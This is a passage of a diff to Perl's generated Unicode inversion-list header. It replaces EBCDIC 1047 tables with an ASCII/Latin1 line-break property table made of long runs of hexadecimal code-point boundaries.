0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E }; -# endif /* ASCII/Latin1 */ +#endif /* defined(PERL_IN_UTF8_C) */ -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +#if defined(PERL_IN_PERL_C) -static const UV PL_S_invlist[] = { /* for EBCDIC 1047 */ - 441, /* Number of elements */ +static const UV _Perl_LB_invlist[] = { /* for ASCII/Latin1 */ + 2267, /* Number of elements */ 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; + 0, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x4A, - 0x4B, - 0x4C, - 0x4D, - 0x4E, - 0x50, + 0x9, + 0xA, + 0xB, + 0xD, + 0xE, + 0x20, + 0x21, + 0x22, + 0x23, + 0x24, + 0x25, + 0x26, + 0x27, + 0x28, + 0x29, + 0x2A, + 0x2B, + 0x2C, + 0x2D, + 0x2E, + 0x2F, + 0x30, + 0x3A, + 0x3C, + 0x3F, + 0x40, 0x5B, 0x5C, - 0x5F, - 0x60, - 0x6A, - 0x6B, - 0x6E, - 0x6F, - 0x79, - 0x7A, + 0x5D, + 0x5E, + 0x7B, + 0x7C, + 0x7D, 0x7E, 0x7F, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, + 0x85, + 0x86, 0xA0, 0xA1, 0xA2, - 0xAF, - 0xB3, + 0xA3, + 0xA6, + 0xAB, + 0xAC, + 0xAD, + 0xAE, + 0xB0, + 0xB1, + 0xB2, 0xB4, 0xB5, 0xBB, - 0xBD, - 0xBE, + 0xBC, + 0xBF, 0xC0, - 0xE1, - 0xE2, - 0x2C2, - 0x2C6, - 0x2D2, + 0x2C8, + 0x2C9, + 0x2CC, + 0x2CD, + 0x2DF, 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, 0x300, - 0x375, - 0x376, - 0x384, - 0x386, - 0x3F6, - 0x3F7, - 0x482, + 0x34F, + 0x350, + 0x35C, + 0x363, + 0x370, + 0x37E, + 0x37F, 0x483, - 0x58D, + 0x48A, + 0x589, + 0x58A, + 0x58B, + 0x58F, 0x590, - 0x606, + 0x591, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F3, 0x609, - 0x60B, 0x60C, 0x60E, 0x610, - 0x6DE, + 0x61B, + 0x61C, + 0x61D, + 0x61E, + 0x620, + 0x64B, + 0x660, + 0x66A, + 0x66B, + 0x66D, + 0x670, + 0x671, + 0x6D4, + 0x6D5, + 0x6D6, + 0x6DD, 0x6DF, + 0x6E5, + 0x6E7, 0x6E9, 0x6EA, - 0x6FD, - 0x6FF, - 0x7F6, - 0x7F7, + 0x6EE, + 0x6F0, + 0x6FA, + 0x711, + 0x712, + 0x730, + 0x74B, + 0x7A6, + 0x7B1, + 0x7C0, + 0x7CA, + 0x7EB, + 0x7F4, + 0x7F8, + 0x7F9, + 0x7FA, + 0x816, + 0x81A, + 0x81B, + 0x824, + 0x825, + 0x828, + 0x829, + 0x82E, + 0x859, + 0x85C, + 0x8D4, + 0x8E2, + 0x8E3, + 0x904, + 0x93A, + 0x93D, + 0x93E, + 0x950, + 0x951, + 0x958, + 0x962, + 0x964, + 0x966, + 0x970, + 0x981, + 0x984, + 0x9BC, + 0x9BD, + 0x9BE, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CE, + 0x9D7, + 0x9D8, + 0x9E2, + 0x9E4, + 0x9E6, + 0x9F0, 0x9F2, 0x9F4, + 0x9F9, 0x9FA, + 0x9FB, 0x9FC, + 0xA01, + 0xA04, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, + 0xA66, + 0xA70, + 0xA72, + 0xA75, + 0xA76, + 0xA81, + 0xA84, + 0xABC, + 0xABD, + 0xABE, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, + 0xAE2, + 0xAE4, + 0xAE6, + 0xAF0, 0xAF1, 0xAF2, + 0xB01, + 0xB04, + 0xB3C, + 0xB3D, + 0xB3E, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, + 0xB62, + 0xB64, + 0xB66, 0xB70, - 0xB71, - 0xBF3, - 0xBFB, - 0xC7F, - 0xC80, - 0xD4F, - 0xD50, + 0xB82, + 0xB83, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBF0, + 0xBF9, + 0xBFA, + 0xC00, + 0xC04, + 0xC3E, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, + 0xC62, + 0xC64, + 0xC66, + 0xC70, + 0xC81, + 0xC84, + 0xCBC, + 0xCBD, + 0xCBE, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, + 0xCE2, + 0xCE4, + 0xCE6, + 0xCF0, + 0xD01, + 0xD04, + 0xD3E, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD4E, + 0xD57, + 0xD58, + 0xD62, + 0xD64, + 0xD66, + 0xD70, 0xD79, 0xD7A, + 0xD82, + 0xD84, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF4, + 0xE31, + 0xE32, + 0xE34, + 0xE3B, 0xE3F, 0xE40, + 0xE47, + 0xE4F, + 0xE50, + 0xE5A, + 0xE5C, + 0xEB1, + 0xEB2, + 0xEB4, + 0xEBA, + 0xEBB, + 0xEBD, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, 0xF01, - 0xF04, + 0xF05, + 0xF06, + 0xF08, + 0xF09, + 0xF0B, + 0xF0C, + 0xF0D, + 0xF12, 0xF13, 0xF14, 0xF15, 0xF18, 0xF1A, 0xF20, + 0xF2A, 0xF34, 0xF35, 0xF36, 0xF37, 0xF38, 0xF39, + 0xF3A, + 0xF3B, + 0xF3C, + 0xF3D, + 0xF3E, + 0xF40, + 0xF71, + 0xF7F, + 0xF80, + 0xF85, + 0xF86, + 0xF88, + 0xF8D, + 0xF98, + 0xF99, + 0xFBD, 0xFBE, + 0xFC0, 0xFC6, 0xFC7, - 0xFCD, - 0xFCE, 0xFD0, - 0xFD5, + 0xFD2, + 0xFD3, + 0xFD4, 0xFD9, + 0xFDB, + 0x102B, + 0x103F, + 0x1040, + 0x104A, + 0x104C, + 0x1056, + 0x105A, + 0x105E, + 0x1061, + 0x1062, + 0x1065, + 0x1067, + 0x106E, + 0x1071, + 0x1075, + 0x1082, + 0x108E, + 0x108F, + 0x1090, + 0x109A, 0x109E, - 0x10A0, - 0x1390, - 0x139A, + 0x1100, + 0x1160, + 0x11A8, + 0x1200, + 0x135D, + 0x1360, + 0x1361, + 0x1362, + 0x1400, + 0x1401, + 0x1680, + 0x1681, + 0x169B, + 0x169C, + 0x169D, + 0x16EB, + 0x16EE, + 0x1712, + 0x1715, + 0x1732, + 0x1735, + 0x1737, + 0x1752, + 0x1754, + 0x1772, + 0x1774, + 0x17B4, + 0x17D4, + 0x17D6, + 0x17D7, + 0x17D8, + 0x17D9, + 0x17DA, 0x17DB, 0x17DC, - 0x1940, - 0x1941, - 0x19DE, - 0x1A00, + 0x17DD, + 0x17DE, + 0x17E0, + 0x17EA, + 0x1802, + 0x1804, + 0x1806, + 0x1807, + 0x1808, + 0x180A, + 0x180B, + 0x180E, + 0x180F, + 0x1810, + 0x181A, + 0x1885, + 0x1887, + 0x18A9, + 0x18AA, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1944, + 0x1946, + 0x1950, + 0x19D0, + 0x19DA, + 0x1A17, + 0x1A1C, + 0x1A55, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A80, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AB0, + 0x1ABF, + 0x1B00, + 0x1B05, + 0x1B34, + 0x1B45, + 0x1B50, + 0x1B5A, + 0x1B5C, + 0x1B5D, 0x1B61, 0x1B6B, 0x1B74, - 0x1B7D, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, + 0x1B80, + 0x1B83, + 0x1BA1, + 0x1BAE, + 0x1BB0, + 0x1BBA, + 0x1BE6, + 0x1BF4, + 0x1C24, + 0x1C38, + 0x1C3B, + 0x1C40, + 0x1C4A, + 0x1C50, + 0x1C5A, + 0x1C7E, + 0x1C80, + 0x1CD0, + 0x1CD3, + 0x1CD4, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF2, + 0x1CF5, + 0x1CF8, + 0x1CFA, + 0x1DC0, + 0x1DF6, + 0x1DFB, + 0x1E00, 0x1FFD, - 0x1FFF, + 0x1FFE, + 0x2000, + 0x2007, + 0x2008, + 0x200B, + 0x200C, + 0x200D, + 0x200E, + 0x2010, + 0x2011, + 0x2012, + 0x2014, + 0x2015, + 0x2018, + 0x201A, + 0x201B, + 0x201E, + 0x201F, + 0x2020, + 0x2024, + 0x2027, + 0x2028, + 0x202A, + 0x202F, + 0x2030, + 0x2038, + 0x2039, + 0x203B, + 0x203C, + 0x203E, 0x2044, 0x2045, - 0x2052, - 0x2053, - 0x207A, + 0x2046, + 0x2047, + 0x204A, + 0x2056, + 0x2057, + 0x2058, + 0x205C, + 0x205D, + 0x2060, + 0x2061, + 0x2066, + 0x2070, 0x207D, - 0x208A, + 0x207E, + 0x207F, 0x208D, + 0x208E, + 0x208F, 0x20A0, - 0x20C0, - 0x2100, - 0x2102, + 0x20A7, + 0x20A8, + 0x20B6, + 0x20B7, + 0x20BB, + 0x20BC, + 0x20BE, + 0x20BF, + 0x20D0, + 0x20F1, 0x2103, - 0x2107, - 0x2108, + 0x2104, + 0x2109, 0x210A, - 0x2114, - 0x2115, 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2150, - 0x218A, - 0x218C, - 0x2190, + 0x2117, + 0x2212, + 0x2214, + 0x22EF, + 0x22F0, 0x2308, + 0x2309, + 0x230A, + 0x230B, 0x230C, + 0x231A, + 0x231C, 0x2329, + 0x232A, 0x232B, - 0x2427, - 0x2440, - 0x244B, - 0x249C, - 0x24EA, - 0x2500, + 0x23F0, + 0x23F4, + 0x2600, + 0x2604, + 0x2614, + 0x2616, + 0x2618, + 0x2619, + 0x261A, + 0x261D, + 0x261E, + 0x2620, + 0x2639, + 0x263C, + 0x2668, + 0x2669, + 0x267F, + 0x2680, + 0x26BD, + 0x26C9, + 0x26CD, + 0x26CE, + 0x26CF, + 0x26D2, + 0x26D3, + 0x26D5, + 0x26D8, + 0x26DA, + 0x26DC, + 0x26DD, + 0x26DF, + 0x26E2, + 0x26EA, + 0x26EB, + 0x26F1, + 0x26F6, + 0x26F7, + 0x26F9, + 0x26FA, + 0x26FB, + 0x26FD, + 0x2705, + 0x2708, + 0x270A, + 0x270E, + 0x275B, + 0x2761, + 0x2762, + 0x2764, + 0x2765, 0x2768, - 0x2794, + 0x2769, + 0x276A, + 0x276B, + 0x276C, + 0x276D, + 0x276E, + 0x276F, + 0x2770, + 0x2771, + 0x2772, + 0x2773, + 0x2774, + 0x2775, + 0x2776, 0x27C5, + 0x27C6, 0x27C7, 0x27E6, + 0x27E7, + 0x27E8, + 0x27E9, + 0x27EA, + 0x27EB, + 0x27EC, + 0x27ED, + 0x27EE, + 0x27EF, 0x27F0, 0x2983, + 0x2984, + 0x2985, + 0x2986, + 0x2987, + 0x2988, + 0x2989, + 0x298A, + 0x298B, + 0x298C, + 0x298D, + 0x298E, + 0x298F, + 0x2990, + 0x2991, + 0x2992, + 0x2993, + 0x2994, + 0x2995, + 0x2996, + 0x2997, + 0x2998, 0x2999, 0x29D8, + 0x29D9, + 0x29DA, + 0x29DB, 0x29DC, 0x29FC, + 0x29FD, 0x29FE, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2CE5, - 0x2CEB, + 0x2CEF, + 0x2CF2, + 0x2CF9, + 0x2CFA, + 0x2CFD, + 0x2CFE, + 0x2CFF, + 0x2D00, + 0x2D70, + 0x2D71, + 0x2D7F, + 0x2D80, + 0x2DE0, + 0x2E00, + 0x2E0E, + 0x2E16, + 0x2E17, + 0x2E18, + 0x2E19, + 0x2E1A, + 0x2E1C, + 0x2E1E, + 0x2E20, + 0x2E22, + 0x2E23, + 0x2E24, + 0x2E25, + 0x2E26, + 0x2E27, + 0x2E28, + 0x2E29, + 0x2E2A, + 0x2E2E, + 0x2E2F, + 0x2E30, + 0x2E32, + 0x2E33, + 0x2E35, + 0x2E3A, + 0x2E3C, + 0x2E3F, + 0x2E40, + 0x2E42, + 0x2E43, + 0x2E45, 0x2E80, 0x2E9A, 0x2E9B, @@ -327831,117 +8566,1355 @@ static const UV PL_S_invlist[] = { /* for EBCDIC 1047 */ 0x2FD6, 0x2FF0, 0x2FFC, - 0x3004, + 0x3000, + 0x3001, + 0x3003, 0x3005, + 0x3006, + 0x3008, + 0x3009, + 0x300A, + 0x300B, + 0x300C, + 0x300D, + 0x300E, + 0x300F, + 0x3010, + 0x3011, 0x3012, 0x3014, + 0x3015, + 0x3016, + 0x3017, + 0x3018, + 0x3019, + 0x301A, + 0x301B, + 0x301C, + 0x301D, + 0x301E, 0x3020, - 0x3021, + 0x302A, + 0x3030, + 0x3035, 0x3036, - 0x3038, - 0x303E, + 0x303B, + 0x303D, 0x3040, + 0x3041, + 0x3042, + 0x3043, + 0x3044, + 0x3045, + 0x3046, + 0x3047, + 0x3048, + 0x3049, + 0x304A, + 0x3063, + 0x3064, + 0x3083, + 0x3084, + 0x3085, + 0x3086, + 0x3087, + 0x3088, + 0x308E, + 0x308F, + 0x3095, + 0x3097, + 0x3099, 0x309B, - 0x309D, + 0x309F, + 0x30A0, + 0x30A2, + 0x30A3, + 0x30A4, + 0x30A5, + 0x30A6, + 0x30A7, + 0x30A8, + 0x30A9, + 0x30AA, + 0x30C3, + 0x30C4, + 0x30E3, + 0x30E4, + 0x30E5, + 0x30E6, + 0x30E7, + 0x30E8, + 0x30EE, + 0x30EF, + 0x30F5, + 0x30F7, + 0x30FB, + 0x30FF, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, 0x3190, - 0x3192, - 0x3196, - 0x31A0, + 0x31BB, 0x31C0, 0x31E4, + 0x31F0, 0x3200, 0x321F, - 0x322A, + 0x3220, 0x3248, 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, 0x32FF, 0x3300, - 0x3400, 0x4DC0, 0x4E00, + 0xA015, + 0xA016, + 0xA48D, 0xA490, 0xA4C7, - 0xA700, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, + 0xA4FE, + 0xA500, + 0xA60D, + 0xA60E, + 0xA60F, + 0xA610, + 0xA620, + 0xA62A, + 0xA66F, + 0xA673, + 0xA674, + 0xA67E, + 0xA69E, + 0xA6A0, + 0xA6F0, + 0xA6F2, + 0xA6F3, + 0xA6F8, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA823, 0xA828, - 0xA82C, - 0xA836, - 0xA83A, - 0xAA77, - 0xAA7A, - 0xAB5B, - 0xAB5C, + 0xA838, + 0xA839, + 0xA874, + 0xA876, + 0xA878, + 0xA880, + 0xA882, + 0xA8B4, + 0xA8C6, + 0xA8CE, + 0xA8D0, + 0xA8DA, + 0xA8E0, + 0xA8F2, + 0xA8FC, + 0xA8FD, + 0xA900, + 0xA90A, + 0xA926, + 0xA92E, + 0xA930, + 0xA947, + 0xA954, + 0xA960, + 0xA97D, + 0xA980, + 0xA984, + 0xA9B3, + 0xA9C1, + 0xA9C7, + 0xA9CA, + 0xA9D0, + 0xA9DA, + 0xA9E5, + 0xA9E6, + 0xA9F0, + 0xA9FA, + 0xAA29, + 0xAA37, + 0xAA43, + 0xAA44, + 0xAA4C, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA5D, + 0xAA60, + 0xAA7B, + 0xAA7E, + 0xAAB0, + 0xAAB1, + 0xAAB2, + 0xAAB5, + 0xAAB7, + 0xAAB9, + 0xAABE, + 0xAAC0, + 0xAAC1, + 0xAAC2, + 0xAAEB, + 0xAAF0, + 0xAAF2, + 0xAAF5, + 0xAAF7, + 0xABE3, + 0xABEB, + 0xABEC, + 0xABEE, + 0xABF0, + 0xABFA, + 0xAC00, + 0xAC01, + 0xAC1C, + 0xAC1D, + 0xAC38, + 0xAC39, + 0xAC54, + 0xAC55, + 0xAC70, + 0xAC71, + 0xAC8C, + 0xAC8D, + 0xACA8, + 0xACA9, + 0xACC4, + 0xACC5, + 0xACE0, + 0xACE1, + 0xACFC, + 0xACFD, + 0xAD18, + 0xAD19, + 0xAD34, + 0xAD35, + 0xAD50, + 0xAD51, + 0xAD6C, + 0xAD6D, + 0xAD88, + 0xAD89, + 0xADA4, + 0xADA5, + 0xADC0, + 0xADC1, + 0xADDC, + 0xADDD, + 0xADF8, + 0xADF9, + 0xAE14, + 0xAE15, + 0xAE30, + 0xAE31, + 0xAE4C, + 0xAE4D, + 0xAE68, + 0xAE69, + 0xAE84, + 0xAE85, + 0xAEA0, + 0xAEA1, + 0xAEBC, + 0xAEBD, + 0xAED8, + 0xAED9, + 0xAEF4, + 0xAEF5, + 0xAF10, + 0xAF11, + 0xAF2C, + 0xAF2D, + 0xAF48, + 0xAF49, + 0xAF64, + 0xAF65, + 0xAF80, + 0xAF81, + 0xAF9C, + 0xAF9D, + 0xAFB8, + 0xAFB9, + 0xAFD4, + 0xAFD5, + 0xAFF0, + 0xAFF1, + 0xB00C, + 0xB00D, + 0xB028, + 0xB029, + 0xB044, + 0xB045, + 0xB060, + 0xB061, + 0xB07C, + 0xB07D, + 0xB098, + 0xB099, + 0xB0B4, + 0xB0B5, + 0xB0D0, + 0xB0D1, + 0xB0EC, + 0xB0ED, + 0xB108, + 0xB109, + 0xB124, + 0xB125, + 0xB140, + 0xB141, + 0xB15C, + 0xB15D, + 0xB178, + 0xB179, + 0xB194, + 0xB195, + 0xB1B0, + 0xB1B1, + 0xB1CC, + 0xB1CD, + 0xB1E8, + 0xB1E9, + 0xB204, + 0xB205, + 0xB220, + 0xB221, + 0xB23C, + 0xB23D, + 0xB258, + 0xB259, + 0xB274, + 0xB275, + 0xB290, + 0xB291, + 0xB2AC, + 0xB2AD, + 0xB2C8, + 0xB2C9, + 0xB2E4, + 0xB2E5, + 0xB300, + 0xB301, + 0xB31C, + 0xB31D, + 0xB338, + 0xB339, + 0xB354, + 0xB355, + 0xB370, + 0xB371, + 0xB38C, + 0xB38D, + 0xB3A8, + 0xB3A9, + 0xB3C4, + 0xB3C5, + 0xB3E0, + 0xB3E1, + 0xB3FC, + 0xB3FD, + 0xB418, + 0xB419, + 0xB434, + 0xB435, + 0xB450, + 0xB451, + 0xB46C, + 0xB46D, + 0xB488, + 0xB489, + 0xB4A4, + 0xB4A5, + 0xB4C0, + 0xB4C1, + 0xB4DC, + 0xB4DD, + 0xB4F8, + 0xB4F9, + 0xB514, + 0xB515, + 0xB530, + 0xB531, + 0xB54C, + 0xB54D, + 0xB568, + 0xB569, + 0xB584, + 0xB585, + 0xB5A0, + 0xB5A1, + 0xB5BC, + 0xB5BD, + 0xB5D8, + 0xB5D9, + 0xB5F4, + 0xB5F5, + 0xB610, + 0xB611, + 0xB62C, + 0xB62D, + 0xB648, + 0xB649, + 0xB664, + 0xB665, + 0xB680, + 0xB681, + 0xB69C, + 0xB69D, + 0xB6B8, + 0xB6B9, + 0xB6D4, + 0xB6D5, + 0xB6F0, + 0xB6F1, + 0xB70C, + 0xB70D, + 0xB728, + 0xB729, + 0xB744, + 0xB745, + 0xB760, + 0xB761, + 0xB77C, + 0xB77D, + 0xB798, + 0xB799, + 0xB7B4, + 0xB7B5, + 0xB7D0, + 0xB7D1, + 0xB7EC, + 0xB7ED, + 0xB808, + 0xB809, + 0xB824, + 0xB825, + 0xB840, + 0xB841, + 0xB85C, + 0xB85D, + 0xB878, + 0xB879, + 0xB894, + 0xB895, + 0xB8B0, + 0xB8B1, + 0xB8CC, + 0xB8CD, + 0xB8E8, + 0xB8E9, + 0xB904, + 0xB905, + 0xB920, + 0xB921, + 0xB93C, + 0xB93D, + 0xB958, + 0xB959, + 0xB974, + 0xB975, + 0xB990, + 0xB991, + 0xB9AC, + 0xB9AD, + 0xB9C8, + 0xB9C9, + 0xB9E4, + 0xB9E5, + 0xBA00, + 0xBA01, + 0xBA1C, + 0xBA1D, + 0xBA38, + 0xBA39, + 0xBA54, + 0xBA55, + 0xBA70, + 0xBA71, + 0xBA8C, + 0xBA8D, + 0xBAA8, + 0xBAA9, + 0xBAC4, + 0xBAC5, + 0xBAE0, + 0xBAE1, + 0xBAFC, + 0xBAFD, + 0xBB18, + 0xBB19, + 0xBB34, + 0xBB35, + 0xBB50, + 0xBB51, + 0xBB6C, + 0xBB6D, + 0xBB88, + 0xBB89, + 0xBBA4, + 0xBBA5, + 0xBBC0, + 0xBBC1, + 0xBBDC, + 0xBBDD, + 0xBBF8, + 0xBBF9, + 0xBC14, + 0xBC15, + 0xBC30, + 0xBC31, + 0xBC4C, + 0xBC4D, + 0xBC68, + 0xBC69, + 0xBC84, + 0xBC85, + 0xBCA0, + 0xBCA1, + 0xBCBC, + 0xBCBD, + 0xBCD8, + 0xBCD9, + 0xBCF4, + 0xBCF5, + 0xBD10, + 0xBD11, + 0xBD2C, + 0xBD2D, + 0xBD48, + 0xBD49, + 0xBD64, + 0xBD65, + 0xBD80, + 0xBD81, + 0xBD9C, + 0xBD9D, + 0xBDB8, + 0xBDB9, + 0xBDD4, + 0xBDD5, + 0xBDF0, + 0xBDF1, + 0xBE0C, + 0xBE0D, + 0xBE28, + 0xBE29, + 0xBE44, + 0xBE45, + 0xBE60, + 0xBE61, + 0xBE7C, + 0xBE7D, + 0xBE98, + 0xBE99, + 0xBEB4, + 0xBEB5, + 0xBED0, + 0xBED1, + 0xBEEC, + 0xBEED, + 0xBF08, + 0xBF09, + 0xBF24, + 0xBF25, + 0xBF40, + 0xBF41, + 0xBF5C, + 0xBF5D, + 0xBF78, + 0xBF79, + 0xBF94, + 0xBF95, + 0xBFB0, + 0xBFB1, + 0xBFCC, + 0xBFCD, + 0xBFE8, + 0xBFE9, + 0xC004, + 0xC005, + 0xC020, + 0xC021, + 0xC03C, + 0xC03D, + 0xC058, + 0xC059, + 0xC074, + 0xC075, + 0xC090, + 0xC091, + 0xC0AC, + 0xC0AD, + 0xC0C8, + 0xC0C9, + 0xC0E4, + 0xC0E5, + 0xC100, + 0xC101, + 0xC11C, + 0xC11D, + 0xC138, + 0xC139, + 0xC154, + 0xC155, + 0xC170, + 0xC171, + 0xC18C, + 0xC18D, + 0xC1A8, + 0xC1A9, + 0xC1C4, + 0xC1C5, + 0xC1E0, + 0xC1E1, + 0xC1FC, + 0xC1FD, + 0xC218, + 0xC219, + 0xC234, + 0xC235, + 0xC250, + 0xC251, + 0xC26C, + 0xC26D, + 0xC288, + 0xC289, + 0xC2A4, + 0xC2A5, + 0xC2C0, + 0xC2C1, + 0xC2DC, + 0xC2DD, + 0xC2F8, + 0xC2F9, + 0xC314, + 0xC315, + 0xC330, + 0xC331, + 0xC34C, + 0xC34D, + 0xC368, + 0xC369, + 0xC384, + 0xC385, + 0xC3A0, + 0xC3A1, + 0xC3BC, + 0xC3BD, + 0xC3D8, + 0xC3D9, + 0xC3F4, + 0xC3F5, + 0xC410, + 0xC411, + 0xC42C, + 0xC42D, + 0xC448, + 0xC449, + 0xC464, + 0xC465, + 0xC480, + 0xC481, + 0xC49C, + 0xC49D, + 0xC4B8, + 0xC4B9, + 0xC4D4, + 0xC4D5, + 0xC4F0, + 0xC4F1, + 0xC50C, + 0xC50D, + 0xC528, + 0xC529, + 0xC544, + 0xC545, + 0xC560, + 0xC561, + 0xC57C, + 0xC57D, + 0xC598, + 0xC599, + 0xC5B4, + 0xC5B5, + 0xC5D0, + 0xC5D1, + 0xC5EC, + 0xC5ED, + 0xC608, + 0xC609, + 0xC624, + 0xC625, + 0xC640, + 0xC641, + 0xC65C, + 0xC65D, + 0xC678, + 0xC679, + 0xC694, + 0xC695, + 0xC6B0, + 0xC6B1, + 0xC6CC, + 0xC6CD, + 0xC6E8, + 0xC6E9, + 0xC704, + 0xC705, + 0xC720, + 0xC721, + 0xC73C, + 0xC73D, + 0xC758, + 0xC759, + 0xC774, + 0xC775, + 0xC790, + 0xC791, + 0xC7AC, + 0xC7AD, + 0xC7C8, + 0xC7C9, + 0xC7E4, + 0xC7E5, + 0xC800, + 0xC801, + 0xC81C, + 0xC81D, + 0xC838, + 0xC839, + 0xC854, + 0xC855, + 0xC870, + 0xC871, + 0xC88C, + 0xC88D, + 0xC8A8, + 0xC8A9, + 0xC8C4, + 0xC8C5, + 0xC8E0, + 0xC8E1, + 0xC8FC, + 0xC8FD, + 0xC918, + 0xC919, + 0xC934, + 0xC935, + 0xC950, + 0xC951, + 0xC96C, + 0xC96D, + 0xC988, + 0xC989, + 0xC9A4, + 0xC9A5, + 0xC9C0, + 0xC9C1, + 0xC9DC, + 0xC9DD, + 0xC9F8, + 0xC9F9, + 0xCA14, + 0xCA15, + 0xCA30, + 0xCA31, + 0xCA4C, + 0xCA4D, + 0xCA68, + 0xCA69, + 0xCA84, + 0xCA85, + 0xCAA0, + 0xCAA1, + 0xCABC, + 0xCABD, + 0xCAD8, + 0xCAD9, + 0xCAF4, + 0xCAF5, + 0xCB10, + 0xCB11, + 0xCB2C, + 0xCB2D, + 0xCB48, + 0xCB49, + 0xCB64, + 0xCB65, + 0xCB80, + 0xCB81, + 0xCB9C, + 0xCB9D, + 0xCBB8, + 0xCBB9, + 0xCBD4, + 0xCBD5, + 0xCBF0, + 0xCBF1, + 0xCC0C, + 0xCC0D, + 0xCC28, + 0xCC29, + 0xCC44, + 0xCC45, + 0xCC60, + 0xCC61, + 0xCC7C, + 0xCC7D, + 0xCC98, + 0xCC99, + 0xCCB4, + 0xCCB5, + 0xCCD0, + 0xCCD1, + 0xCCEC, + 0xCCED, + 0xCD08, + 0xCD09, + 0xCD24, + 0xCD25, + 0xCD40, + 0xCD41, + 0xCD5C, + 0xCD5D, + 0xCD78, + 0xCD79, + 0xCD94, + 0xCD95, + 0xCDB0, + 0xCDB1, + 0xCDCC, + 0xCDCD, + 0xCDE8, + 0xCDE9, + 0xCE04, + 0xCE05, + 0xCE20, + 0xCE21, + 0xCE3C, + 0xCE3D, + 0xCE58, + 0xCE59, + 0xCE74, + 0xCE75, + 0xCE90, + 0xCE91, + 0xCEAC, + 0xCEAD, + 0xCEC8, + 0xCEC9, + 0xCEE4, + 0xCEE5, + 0xCF00, + 0xCF01, + 0xCF1C, + 0xCF1D, + 0xCF38, + 0xCF39, + 0xCF54, + 0xCF55, + 0xCF70, + 0xCF71, + 0xCF8C, + 0xCF8D, + 0xCFA8, + 0xCFA9, + 0xCFC4, + 0xCFC5, + 0xCFE0, + 0xCFE1, + 0xCFFC, + 0xCFFD, + 0xD018, + 0xD019, + 0xD034, + 0xD035, + 0xD050, + 0xD051, + 0xD06C, + 0xD06D, + 0xD088, + 0xD089, + 0xD0A4, + 0xD0A5, + 0xD0C0, + 0xD0C1, + 0xD0DC, + 0xD0DD, + 0xD0F8, + 0xD0F9, + 0xD114, + 0xD115, + 0xD130, + 0xD131, + 0xD14C, + 0xD14D, + 0xD168, + 0xD169, + 0xD184, + 0xD185, + 0xD1A0, + 0xD1A1, + 0xD1BC, + 0xD1BD, + 0xD1D8, + 0xD1D9, + 0xD1F4, + 0xD1F5, + 0xD210, + 0xD211, + 0xD22C, + 0xD22D, + 0xD248, + 0xD249, + 0xD264, + 0xD265, + 0xD280, + 0xD281, + 0xD29C, + 0xD29D, + 0xD2B8, + 0xD2B9, + 0xD2D4, + 0xD2D5, + 0xD2F0, + 0xD2F1, + 0xD30C, + 0xD30D, + 0xD328, + 0xD329, + 0xD344, + 0xD345, + 0xD360, + 0xD361, + 0xD37C, + 0xD37D, + 0xD398, + 0xD399, + 0xD3B4, + 0xD3B5, + 0xD3D0, + 0xD3D1, + 0xD3EC, + 0xD3ED, + 0xD408, + 0xD409, + 0xD424, + 0xD425, + 0xD440, + 0xD441, + 0xD45C, + 0xD45D, + 0xD478, + 0xD479, + 0xD494, + 0xD495, + 0xD4B0, + 0xD4B1, + 0xD4CC, + 0xD4CD, + 0xD4E8, + 0xD4E9, + 0xD504, + 0xD505, + 0xD520, + 0xD521, + 0xD53C, + 0xD53D, + 0xD558, + 0xD559, + 0xD574, + 0xD575, + 0xD590, + 0xD591, + 0xD5AC, + 0xD5AD, + 0xD5C8, + 0xD5C9, + 0xD5E4, 